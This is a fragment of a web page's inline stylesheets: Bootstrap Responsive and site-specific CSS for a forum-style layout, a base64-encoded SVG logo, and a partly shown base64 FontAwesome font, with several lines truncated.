JJ7W7e7L0z7L00hPYSSrgWlB0qYKDoXOBwQPRquJvWcPzc+sBI3pUj9GjxgIGG+yvAlaMBaxgY2PUYERvgIiAEiaIJ1NUPDFQwcLAujTqTr1QLioZ3GbIHTEdYnpCesfDy9dvB4B4+Vba/vPP6au23oy0eHeVXxgzGuGtTG1zt4lDgpCDCDHInDqlDmgAeK+jJZIEuJ9bmCpbL8Z0vvFwr84+jRRnNzOSkyPg6srryLIDS/CREjejVnMMEDioCIrqv3XCmO6lA/N4Lf1ua0oVVekIinqBkbCY5N/3nRqiAWisW2xsNBbsUxu11kXxz8lWB4c3sN3ekYiAEGAAByO382+qZQuQxImXstYh60J3LrpdOaX23OWinx9mwP//fAAzA5CcGYAkAFIiAEriDAiJAMndAQjqAJCgKWrvHpebtWs/re72nVaXEjCgtAQp6RHUJspJ2gupsq9yyLHo/Vy5u+v8rqhclS5d2qVdtLX/3nRVKsauMS47Z4JoNru6yNjUBvn73WqpW0jQLWxLIxDCSgwlBzcSzMxJwozQOiGBVpiZtY7hnPstYGiNbWEF5wTrxFmYdcxak56xPgku3HDDS8ILnYkuDi8MnQvCI3jcT216ZaMrjPl5GWYAIByhr51xVXZju0G5EtXIfqYwq7s4NLhgeu2nvYsxpRohhSTYCoItYM27+X/m/PxE6+tJNw9faWYRRohBDMIYh3z8h1yy6QEzqRlrM0ghSOsQ+ShkO2LOCgqadP5MQjyDih2k2EHqttndgXsdI1Oga0jEvEe50TXItrpN9NIEBcQhscEo44wiaoTxcU2AAvxdwsQC+Ppw/kum+fD5u8BrSYNSgIiihg2AMccnArqsYJ2gmNlhnADg/vHOjV6AesO+/MmrlN8grD8CAnD8ERERq2e4xrw61HwHQX8hVkPGCIADEJRmLCNsYzeTnAWcZnbH7osIzSEbGYvULv/7qJdPYalrqK/xvNrG/vmB3hmw4yOMWoM+4zyt158PeG80n4NP5BkGyRJu62dDPTINSpg2S/aEQH1fYmH9GoDFAURIy8JOAPQ+olD/RszU+DcQnfyXjKqKpWkxC3B+cn7qu+8P/zw8HGWmGhXmmMGhgEUOgwwppiB4OIEDmIPxlOSe+zqPfVuXeRqHvhveVZsW/nw1V6A6M4KhLcWhuFu/4O3fRKWuHfUc9G7G94SL4vR/rZ8Ub5iZP5cz9tlk/wtG9+s3PxmuMdIjm1qu7k+tQYQCZTRkuAtSmLSs0uOxI64zaboh3cTIf720EgwvjBKMYQmjxBNnkRyxseNc0nKZeZURGC+VioZVLFpliSPBSR6sepFcJRcWptiE61cRFstAMUgzXiIy9GFHp+YbdyPuTxi7mhkEy8HFEDtgQNiOpK3nWM1fDipB52FSVfCgaWZDZnBCmAEeY8qnhJXDtZpO3WARXEKSWONEF/OsMAUcncfXXJFOO07iwB9ZEC0Rx0w1XBF7LMNQps6RTRBgUkR4wysExmnkzVyanU2yQYoszPOCt7CyWSNhx2qJx6pQUFg9hF2rc4J4PRPD0s0/9mU9Xqti6iyt5m0wwu0LiQ7ss4x0xMnZYuElJ+YetZyQxFx641j/Yal5weLc8H/4fYKnutlzOe9R93rRMaSyJxXDwDOMtpVPhX8gHQkPZmFUmIukZ5itm4mgwdiCoXPLPt00dun4zJgyQ9WC7G9fKMSWv+rce6CmkNdcMj+29sKV6uuvzwGeYccKULEvDBbrFO98vT95Kr/X7EtB7aHcN4I8HwSyFyfYSQs5dWoQETxfhzg8XPRHDn4aAy4I0jgMd/YKhhTQGIIUaXr2SIGtQ7a8shpQ3Kd5HJl3uSm6jiggOo0lmJgU7BnW+tsbN8Ytnz/NF85mdb1xJBbSr53bKHWNFTs3NfjC7NyZs68AVT/AmfztCK2JuKyYoe3JQOL1Ez4+e4nP3Tznw51cp8n/f29xXJIeDFoytH2UdswpLxZj5TQ/jKFp0HleHN6iBgbGIDNIoG0AbzSe+hYvI/CmIZ9/+tzFx4LT+VwmKJiHptTdPu9IqvO/cQB4Z8WYj9vFB3NNh/CqqTs3L8sqbfk18wPSsZY1c3ac68eisCvjt+6GslRjWA1Zxq+qdEAqc7sJOkCYAQZdZAG6Znb2s8hRfrlyeWqbnEMQ6RI2UMe1AQiF2QdBy28lB0y3Y9QUnneWbXwuEZlXIjGOWtQT75f9QOantcglVhUBA9/nscgFUqkPfpE3sEQNV0z5MgnVbqu6yqG0r1FihEcFynAafHXrm5sP+HRIVMrrc83SlwaAHpUNNtGUAG/NorLNojJrBbedljpgk7Y8n6QG7/0NlwJtE+j0URxOmtVfeGtPSSRmNoSRyVr0HTRbX6Vk74l5MrdxqLL/wsT+m8xKkTi52Q2Vbxac4ZGt4Arfhrgb/AND4tFY3Xm/Toh0KeIA86aziD28hvsDsGZM3xLKLrjCGsjCSanjTV/lp53WIUI5X7DkOtim0kaMQABwbaw1JvjjCooVnahJrl2NbeOlHmQesdeWcDDm151Uw4itkyRyhHa+o8AqzpAolQfERlyYrXU8TcoyZc3bc2TTc9bOxCSFlgOR+CCm78ShGPMgUNHUVT+NGMgx9p5S8ojoislOGDXJ/HWbpevnAhZjcJG83YRHZrg4cCyLbyfJZI3zAA43Mui7Z//EogzN/udIIqnSdh6czyF/f34cAaTNOCJtklgk8XEIm2roZAY9panWtZblERHrIhdamihzQ9G2dGx+KoTBSBdtWsddqEJaROCI9aSpbRbbKkm2iJSmPo9YyQRe6KnaxDO5/G4Kofm8n6jc6PLyujtlEPm9TWjKBUTWEmENgIcjSPJu8Kez/W0AQSD+uunlV58AGIOEAnOKGdJJPzDL9PHxvFpS0+BkDk/hBSfK9wOjj9+TiDzPD9nA03EcaR0V+XC5e98nuyq4N5VTHJYHXyrmvTNVz2v8PaVPXoRE184+h7lQcjXseY0bfJd/5ctBpchDLtOeBiLXcIWPbMfL5/ssUz/CqA0PPe/7jHXhOSbnBjOtm8CkdpnY5e7oGiXrGOt3UnLNorFadldwHdtxAWLmDG7+xLQxyMTeEOv18wuiUuPr+jwdD4TFQiPCWo75Yfv9wIOwgxHC5wrkGdw10eAdOxZe1RGkkt80Bp7c9hBev6dIN4use7Xaudbez1KlDGb+AvSG/ZuhtZoEqpLx5c6rnbimy8z1syuJXLw1ZDBX61pleBN4fCud2rYjYVkIBWPVR9VmVaQhtJyOx1zWnEtxYBKxcfRwCzENIWcKt6fyejZz2tuWGrkundF08nA+mR2JWe4K8PWOsL6Yg2DAeQL4q+eBSDsL8nC3EcrI4yyAlXBIpYp9riPuHb3pmWo6o0pBLSdYu5yHvCJ6mV9PU46Zxdt7k2c42I/q8Z79/u0GfIOUeBNbWKFVln8gBztRT5ucVG1JrwWhdHl94zcwlSy1flA6iaF5DLU9NlLouu20523JF1kQgv3gSi3k/MEq6IR1OZ6Okcu7isicAGAGXxoyOG6RFIDT/vON+gPKgffp6h5ip9gtNdzuI3DRO2KdludIE1FI1X36GIyvscoCn0YjJ/uYhBjOgTtUiIgFi/SYrC/5+nryC4/0+zpfuadd9xpZiPiocwJwUEBnWi8z7hJmCaFEVjaJrGAyi0RuTFeCy67V/BBCbvLS0SdJGIYWIjI9tu4K37md5lQiXt+qcyNFWkR8fZoeIUXO67u/TkKNFI3UYh4yRKtHZa9tz0Cjnw2E8ORHhpx2HkqJQChXn1eHfKBriM9CLY5xWoWmq7akDJNnUTFW21iGKQTgbS9yHQWCVZWOjAVSKJEwIiuH1ME0JGvZoajON8havYmbSrnRYsV0t0uF0LFND/XUKBfqSUqNL7Z4u/Line truncated
|
||||
<style>/*!
|
||||
* Bootstrap Responsive v2.3.1
|
||||
*
|
||||
* Copyright 2012 Twitter, Inc
|
||||
* Licensed under the Apache License v2.0
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Designed and built with all the love in the world @twitter by @mdo and @fat.
|
||||
*/.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}@-ms-viewport{width:device-width}@media(min-width:768px) and (max-width:979px){}@media(max-width:767px){}@media(min-width:1200px){.row{margin-left:-30px}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:30px}.container{width:1170px}.span10{width:970px}input{margin-left:0}}@media(min-width:768px) and (max-width:979px){.row{margin-left:-20px}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:20px}.container{width:724px}.span10{width:600px}input{margin-left:0}}@media(max-width:767px){body{padding-right:0px;padding-left:0px}.container{width:auto}.row{margin-left:0}[class*="span"]{display:block;float:none;width:100%;margin-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.modal{position:fixed;right:20px;left:20px;width:auto;margin:0}.modal.fade{top:-100px}}@media(max-width:480px){.nav-collapse{-webkit-transform:translate3d(0,0,0)}.modal{top:10px;right:10px;left:10px}}@media(max-width:979px){body{padding-top:0}.navbar .container{width:auto;padding:0}.navbar .brand{padding-right:10px;padding-left:10px}.nav-collapse{clear:both}.nav-collapse.collapse{height:0;overflow:hidden}}@media(min-width:980px){.nav-collapse.collapse{height:auto !important;overflow:visible !important}}</style>
|
||||
<style>li{line-height:26px}a:hover{text-decoration:none}.post-user-action>span{margin-right:10px;line-height:21px;border:0}.post-user-action .i-seprator{color:rgba(0,0,0,0.1);margin:0 2px}.navbar .brand{padding:0;height:50px;margin-left:0;display:inline-block !important;background-repeat:no-repeat;width:120px;background-size:207px 50px;background-image:url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPCEtLSBHZW5lcmF0b3I6IEFkb2JlIElsbHVzdHJhdG9yIDIxLjEuMCwgU1ZHIEV4cG9ydCBQbHVnLUluIC4gU1ZHIFZlcnNpb246IDYuMDAgQnVpbGQgMCkgIC0tPgo8c3ZnIHZlcnNpb249IjEuMSIgaWQ9IuWbvuWxgl8xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB4PSIwcHgiIHk9IjBweCIKCSB2aWV3Qm94PSIwIDAgODAwLjQgMTMwLjQiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDgwMC40IDEzMC40OyIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Cgkuc3Qwe2ZpbGw6IzM3M0Q0MTt9Cjwvc3R5bGU+Cjx0aXRsZT7lhYjnn6XmioDmnK/npL7ljLo8L3RpdGxlPgo8Zz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iMCwxMjEuNCAwLDI3LjMgNTYuMywyNy4zIAkiLz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iODkuOSw4LjQgODkuOSwxMDIuNSAzMy41LDEwMi41IAkiLz4KPC9nPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMTMwLjcsNTguNGMtMi4zLTEuNC00LjctMi45LTcuMi00LjVjNi02LjksMTAuNy0xNi4yLDE0LjEtMjcuOWw4LjMsMS43Yy0wLjcsMS42LTEuNiwzLjktMi44LDYuOQoJYy0wLjcsMi4zLTEuMywzLjktMS43LDQuOGgxNy41VjI0aDguM3YxNS41aDI5LjZWNDdoLTI5LjZ2MTUuMWgzNC43VjcwaC0yNi41djIxLjNjLTAuMiwzLjQsMS42LDUsNS41LDQuOGg3LjIKCWMzLjIsMC4yLDUuMy0xLjMsNi4yLTQuNWMwLjItMS40LDAuNS00LjEsMC43LTguM2MwLDAuNywwLjEtMC4xLDAuMy0yLjRsNy42LDIuOGMtMC4yLDQuMS0wLjcsNy45LTEuNCwxMS40CgljLTEuNiw2LTUuOCw4LjgtMTIuNyw4LjZoLTEwLjdjLTcuNiwwLjItMTEuMi0zLjItMTEtMTAuM1Y3MC4xaC0xNS44djMuMWMwLDE1LjQtOS4xLDI2LjQtMjcuMiwzM2MtMS40LTIuMS0zLTQuNi00LjgtNy42CglDMTM1LjEsOTQsMTQzLDg1LjQsMTQzLDcyLjhWNzBoLTIyLjd2LTcuOWgzOC41VjQ3aC0yMS4zQzEzNS41LDUxLjEsMTMzLjIsNTQuOSwxMzAuNyw1OC40eiIvPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMjEzLjIsNTQuNmMtMC41LTAuMi0xLjItMC43LTIuMS0xLjRjLTEuOC0xLjQtMy4yLTIuMy00LjEtMi44YzQuOC04LjksOC4xLTE3LjksMTAtMjYuOGw3LjYsMS40CgljLTAuNSwxLjgtMS4zLDQuNC0yLjQsNy42Yy0wLjIsMS4yLTAuNSwyLTAuNywyLjRoMjQuMXY3LjJoLTEyYzAsOC43LTAuMSwxNC45LTAuMywxOC42aDE0LjFWNjhoLTE0LjhjMCwyLjMtMC4yLDQuNS0wLjcsNi41CgljMS42LDEuNiwzLjgsNCw2LjUsNy4yYzQuNiw0LjgsOCw4LjYsMTAuMywxMS40bC01LjgsNS4yYy0wLjktMS4yLTIuMy0yLjgtNC4xLTQuOGMtMS44LTIuMy00LjgtNS44LTguOS0xMC43CgljLTIuNSw3LjgtOC40LDE1LjUtMTcuNSwyMy4xYy0yLjMtMi44LTQuMS00LjgtNS41LTYuMmMxMS4yLTguOSwxNy4zLTE5LjUsMTguMi0zMS43aC0xNy4ydi03LjJoMTcuNWMwLjItMy45LDAuMy0xMC4xLDAuMy0xOC42CgloLTYuOUMyMTcuMSw0Ni4zLDIxNS4zLDUwLjQsMjEzLjIsNTQuNnogTTI1MS40LDEwMi43VjMxLjloMzUuOHY3MC41aC04LjN2LTcuNmgtMTkuNnY3LjlDMjU5LjMsMTAyLjcsMjUxLjQsMTAyLjcsMjUxLjQsMTAyLjd6CgkgTTI1OS4zLDM5LjR2NDcuOGgxOS42VjM5LjRIMjU5LjN6Ii8+CjxwYXRoIGNsYXNzPSJzdDAiIGQ9Ik0yOTcuMiw4MS4xYy0wLjItMC45LTAuNi0yLjMtMS00LjFjLTAuNy0xLjgtMS4yLTMuMi0xLjQtNC4xYzkuMi02LjIsMTYuNC0xNC4zLDIxLjctMjQuNGgtMTkuNnYtNi45aDI3LjV2Ny4yCgljLTIuNSw1LjUtNS40LDEwLjQtOC42LDE0Ljh2NDIuM2gtNy42VjcyLjFDMzA1LDc1LjEsMzAxLjQsNzguMSwyOTcuMiw4MS4xeiBNMzExLjcsNDAuNWMtMC4yLTAuNS0wLjYtMS4xLTEtMi4xCgljLTIuOC02LTQuNi05LjctNS41LTExLjRsNi45LTMuMWMwLjcsMS4yLDEuOCwzLjMsMy40LDYuNWMxLjYsMywyLjgsNS4yLDMuNCw2LjVMMzExLjcsNDAuNXogTTMyNi44LDgwLjcKCWMtMS42LTIuMS00LjctNS42LTkuMy0xMC43Yy0wLjItMC4yLTAuNS0wLjUtMC43LTAuN2w0LjgtNC41YzIuMSwxLjgsNC45LDQuNiw4LjYsOC4zYzEuMSwxLjIsMS45LDIsMi40LDIuNEwzMjYuOCw4MC43egoJIE0zMjguNSw1Ni42VjQ5aDE4LjZWMjQuM2g4LjN2MjQuOEgzNzV2Ny42aC0xOS42djM5LjJoMjIuNHY2LjloLTUzdi02LjloMjIuNFY1Ni42SDMyOC41eiIvPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMzg5LjgsMTAxLjRWMjkuMUg0NjJ2Ny42aC02NC4zdjU3LjhoNjUuN3Y2LjlIMzg5Ljh6IE00NTAuMyw5MC40Yy02LjItNi42LTEyLjYtMTMtMTkuMy0xOC45CgljLTYsNS43LTEzLjQsMTIuMy0yMi40LDE5LjZjLTEuNC0xLjYtMy40LTMuOC02LjItNi41YzguMy01LjcsMTUuOC0xMiwyMi43LTE4LjljLTYuOS02LjQtMTMuOC0xMi43LTIwLjYtMTguOWw2LjItNS4yTDQzMSw2MC4yCgljNS41LTYuMiwxMC45LTEyLjgsMTYuMi0yMGw3LjIsNC41Yy01LjcsNy42LTExLjYsMTQuNC0xNy41LDIwLjZjNi45LDYuNywxMy42LDEzLDIwLjMsMTguOUw0NTAuMyw5MC40eiIvPgo8L3N2Zz4K)}.brand-box{position:absolute}.related-section{min-height:42px;padding:5px 0;margin-top:25px;border-top:1px solid #eee}.related-section>.related-box{margin-top:17px}.related-section>.related-box>span{display:inline-block;padding:3px}.related-section>.related-box>span:nth-child(1){width:47%}.related-section>.related-box>span:nth-child(2){border-left:1px solid #eee;padding-left:8px;float:right;width:46%}.related-box .related-label{padding:3px 4px;margin-right:3px}@media screen{.navbar{margin-bottom:12px;overflow:visible}}@media screen and (min-width:1950px){}@media screen and (min-width:1660px) and (max-width:1945px){}@media screen and (min-width:1350px) and (max-width:1659px){}@media screen and (min-width:1100px) and (max-width:1349px){}@media only screen and (max-width:1100px){}@media only screen and (min-width:768px){}@media only screen and (max-width:736px){.brand{margin:0 auto}.tiny-avatar{width:40px !important;height:40px !important}.brand-box{left:15px}.post-info .bbs-time{display:block}}@media screen and (min-width:768px) and (Line truncated
|
||||
<style>a{color:#778087}.topic-list p{margin:0}.topic-content{min-height:40px}.collapse form{position:relative;width:300px;float:right}div.search{padding:10px 0}.d1 input{height:20px;padding-left:18px;border:1px solid #ddd;border-radius:15px;outline:0;background:#fff;color:#9e9c9c;float:right}.vote{font-weight:normal;margin-left:6px}.topic-list{word-break:break-all;word-wrap:break-word}ul{margin:0 0 10px 0}/*!*border-bottom: solid #eee 1px;*!*/.thumbs{margin-right:10px;color:#778087}.thumbs i{line-height:20px;cursor:pointer;margin-right:5px}.manual-box{height:1.7rem;line-height:1.7rem;text-align:right}.manual-box>span{margin-left:.7rem}.user-info{padding:5px 0 5px 0}.post-content{padding:10px 0 0 0}.reply-jump{color:#6c6c6c;cursor:pointer;margin-right:5px}.reply-jump:hover{color:#ccc}.topic-info a,.topic-info{padding-top:5px}.topic-info a:hover{text-decoration:solid}.reminder{min-height:200px;border:1px #ddd solid;border-radius:3px;line-height:200px;text-align:center}</style>
|
||||
<style>body{background-color:#eee}img{max-width:100%}form{margin:0 !important}a:focus{text-decoration:none}.box ul,ol{margin-bottom:0px !important}.box a:hover{text-decoration:none}.box-container>ul>li{list-style-type:none}#Wrapper .row.box{margin-left:0px}.navbar-inner{border-radius:0px;min-height:40px;padding-right:0px;padding-left:0px;outline:0;margin-bottom:0;list-style:none;z-index:1050;background:#fff;-webkit-box-shadow:0 1px 4px rgba(0,21,41,0.08);box-shadow:0 1px 4px rgba(0,21,41,0.08);line-height:46px;-webkit-transition:background .3s,width .2s;-o-transition:background .3s,width .2s;transition:background .3s,width .2s}.bs-docs-footer{text-align:left;color:#99979c;height:64px;background-color:#FFF;border-top:1px solid rgba(0,0,0,0.22);line-height:64px}.bs-docs-footer .links>a{display:inline-block;padding:0 12px;border-left:1px solid #e8e8e8;color:#8c8c8c;line-height:1}.bs-docs-footer .links>a:first-child{border-left:0}.box-container .user-info{margin-bottom:10px;background:#fff}.content-title{font-size:24px;color:#333;text-decoration:none;line-height:24px;text-shadow:0 1px 0#fff}.markdown-body h2{border-bottom:0}.box-container{padding:20px}.breadcrumb{padding:8px 10px 8px 15px;margin-bottom:10px;border-radius:0;color:#000;background-color:#fff}.breadcrumb>li{text-shadow:none !important;margin:2px 0px}.active{text-shadow:none !important}.breadcrumb .active{color:#555;display:inline-block;text-shadow:none !important}.label{background-color:#f4f4f4;font-size:12px;line-height:12px;display:inline-block;padding:4px 4px 4px 4px;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;text-decoration:none;color:#666;text-shadow:none;font-weight:normal}.topic-info{color:#999 !important;font-size:12px !important}.topic-info a{padding:0px;color:#555 !important;font-size:12px !important}.topic-info a:hover{color:#4d5256;text-decoration:underline}.post-info a:hover{color:#666 !important}.user-info .post-info span,.topic-info .cell{padding-left:0 !important;margin-left:0px;font-size:10px;font-weight:bold}.markdown-body img{max-width:90% !important;text-align:center;margin-left:auto;margin-right:auto;display:block;padding:10px 0px 10px 0px}.user-info .post-info span,.topic-info span{margin-left:0px;font-size:10px;color:rgba(0,0,0,0.45)}.avatar{-webkit-box-sizing:border-box;box-sizing:border-box;border:#999 1px solid;border-radius:4px;padding:1px;margin:1.5px 10px 0px 0px;display:inline-block;text-align:center;vertical-align:middle;background:#fff;width:44px;height:44px;max-width:100%;-ms-interpolation-mode:bicubic}.btn{display:inline-block;padding:4px 12px;margin-bottom:0;font-size:14px;line-height:20px;background-color:#f4f4f4;color:#444;border-color:#ddd;font-family:"Helvetica Neue For Number",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"PingFang SC","Hiragino Sans GB","Microsoft YaHei","Helvetica Neue",Helvetica,Arial,sans-serif;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;list-style:none;font-weight:400;text-align:center;cursor:pointer;background-image:none;white-space:nowrap;border-radius:2px;height:32px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none}.btn.focus{border-color:#0064c8}.box{font-family:Monospaced Number,Chinese Quote,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,PingFang SC,Hiragino Sans GB,Microsoft YaHei,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:14px;line-height:1.5;color:rgba(0,0,0,0.65);-webkit-box-sizing:border-box;box-sizing:border-box;margin-top:0 !important;margin-bottom:20px;padding:0;list-style:none;background:#fff;border-radius:2px;position:relative;-webkit-transition:all .3s;-o-transition:all .3s;transition:all .3s;-moz-box-shadow:0 1px 1px rgba(0,0,0,0.15);-webkit-box-shadow:0 1px 1px rgba(143,168,191,.35);box-shadow:0 1px 1px rgba(143,168,191,.35);border-bottom:1px solid #e2e2e9}.span10{float:left;min-height:1px}#Wrapper .span10{margin-left:0px !important;max-width:960px}@media(min-width:1200px){.container{width:82% !important}}@media screen and (min-width:1500px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{max-width:1100px !important}#Wrapper .span10{max-width:810px !important}}@media screen and (min-width:980px) and (max-width:1499px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{max-width:1100px !important}#Wrapper .span10{max-width:74% !important}}@media screen and (min-width:768px) and (max-width:979px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{width:90% !important}#Wrapper .span10{width:77% !important}.nav-collapse{clear:none !important;height:auto !important;overflow:auto !important;float:right}}@media screen and (max-width:767px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{width:100% !important}.topic-info .info-left,.topic-info .info-right{display:block}.topic-info .info-right{margin-top:10px}.topic-info span{margin-left:0px}}@media screen and (max-width:419px){body{padLine truncated
|
||||
<style>/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 */@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2){}@media only screen and (-webkit-min-device-pixel-ratio:3),only screen and (min-device-pixel-ratio:3){}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*!
|
||||
* Font Awesome 4.3.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/@font-face{font-family:"FontAwesome";src:url(data:font/woff2;base64,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